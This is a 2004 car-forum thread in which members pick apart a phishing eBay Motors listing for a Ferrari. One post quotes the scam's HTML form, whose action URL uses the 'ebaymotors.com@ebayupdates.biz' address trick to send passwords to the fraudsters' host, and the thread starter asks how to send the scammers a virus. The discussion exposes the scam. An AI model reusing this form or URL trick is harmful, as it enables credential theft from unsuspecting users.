S2000 Talk Discussions related to the S2000, its ownership and enthusiasm for it.

Scam on Ebay!

Thread Tools
 
Old 01-16-2004, 12:31 PM
  #1  
Registered User

Thread Starter
 
X4DLuvOfSpeedX's Avatar
 
Join Date: May 2003
Location: Miami, Florida
Posts: 2,076
Likes: 0
Received 0 Likes on 0 Posts
Default Scam on Ebay!

Check this out:
Cheap Ferrari Modena Spider on eBay!!!
A Modena Spider that met the reserve at only $100,000? Don't these cars sell for at least $250K? Sounded like an awesome deal to me, until I saw the "security check" box that you need to fill out with your password in order to read the product description! Anyone who knows squat about ebay knows there is no such thing, much less under the "product description" section which is filled out by the seller. Nothing more than a scam to get your user ID and password and hack your account

Can anyone show me how to send a virus to these people?
Old 01-16-2004, 12:38 PM
  #2  
Registered User
 
folex187's Avatar
 
Join Date: Dec 2003
Location: Kinda Close to St. Louis
Posts: 1,915
Likes: 0
Received 0 Likes on 0 Posts
Default

I think they are more like 150k unless you want a spyder or F1.
Old 01-16-2004, 12:41 PM
  #3  
Registered User

 
koala's Avatar
 
Join Date: Nov 2002
Location: Calgary, AB
Posts: 7,731
Likes: 0
Received 1 Like on 1 Post
Default

Yup, scam.
Old 01-16-2004, 12:48 PM
  #4  
Registered User

 
s2kmugen's Avatar
 
Join Date: Dec 2002
Location: houston, texas
Posts: 5,727
Likes: 0
Received 0 Likes on 0 Posts
Default

woah.. the IP address almost even looked real.... I've gotten some of these emails asking for my ebay user name/password too.. and I almost fell for it.. scary shiet
Old 01-16-2004, 01:34 PM
  #5  
Registered User

 
AustinS2k2003's Avatar
 
Join Date: Apr 2003
Location: Austin
Posts: 1,255
Likes: 0
Received 1 Like on 1 Post
Default

I'm not so sure - not that I'd submit my id, but I looked at the source and the form in question submits to Ebay...

<form name=form1 method=post action=http://session.ebaymotors.com@ebayupdates.biz/session.php>

Interesting indeed - there is no indication of submittal anywhere but ebay within the HTML source...and you can't SPOOF the host cgi.ebay.com - it is an EBAY domain...
Old 01-16-2004, 01:42 PM
  #6  
Registered User
 
dave22's Avatar
 
Join Date: Feb 2002
Location: Virginia Beach, VA
Posts: 13,065
Likes: 0
Received 0 Likes on 0 Posts
Default

The real sign-in page:

http://signin.ebay.com/aw-cgi/eBayISAPI.dl...geType=174&i1=0


Their sign-in page:

http://signin.ebay.com/aw-cgi/eBayISAPI.dl...Name=h:h:sin:US
Old 01-16-2004, 01:48 PM
  #7  

 
jeffbrig's Avatar
 
Join Date: Jul 2002
Location: Fort Lauderdale
Posts: 2,535
Received 100 Likes on 64 Posts
Default

Funny, I did the same thing you did.

However, I'm not convinced that session.ebaymotors.com is legit.

The normal ebay motors login page does not contain this reference in its HTML.
Old 01-16-2004, 01:49 PM
  #8  
Registered User
 
dave22's Avatar
 
Join Date: Feb 2002
Location: Virginia Beach, VA
Posts: 13,065
Likes: 0
Received 0 Likes on 0 Posts
Default

I put:

Username: Blow
Password: Me

and it came back invalid
Old 01-16-2004, 02:02 PM
  #9  
Registered User

 
Ishy's Avatar
 
Join Date: Jul 2003
Location: East Bay
Posts: 267
Received 0 Likes on 0 Posts
Default

I went to the actual www.ebaymotors.com website and searched for that item number, and it did come up as an actual real item. I dunno if that helps at all...
Old 01-16-2004, 05:42 PM
  #10  
Registered User
 
dky1e's Avatar
 
Join Date: Jan 2004
Location: san diego
Posts: 242
Likes: 0
Received 0 Likes on 0 Posts
Default

It's a bug in internet explorer (it hides the actual address in the address bar [more here:http://www.derkeiler.com/Mailing-Lists/NT-...03-12/0027.html]

After entering the username and pass it brings you to (what you think is) session.ebaymotors.com, but right click, select properties and check out the actual page of:

http://session.ebaymotors.com@ebayupdates....biz/session.php

you're on ebayupdates.biz, the fake page.


Quick Reply: Scam on Ebay!



All times are GMT -8. The time now is 10:30 AM.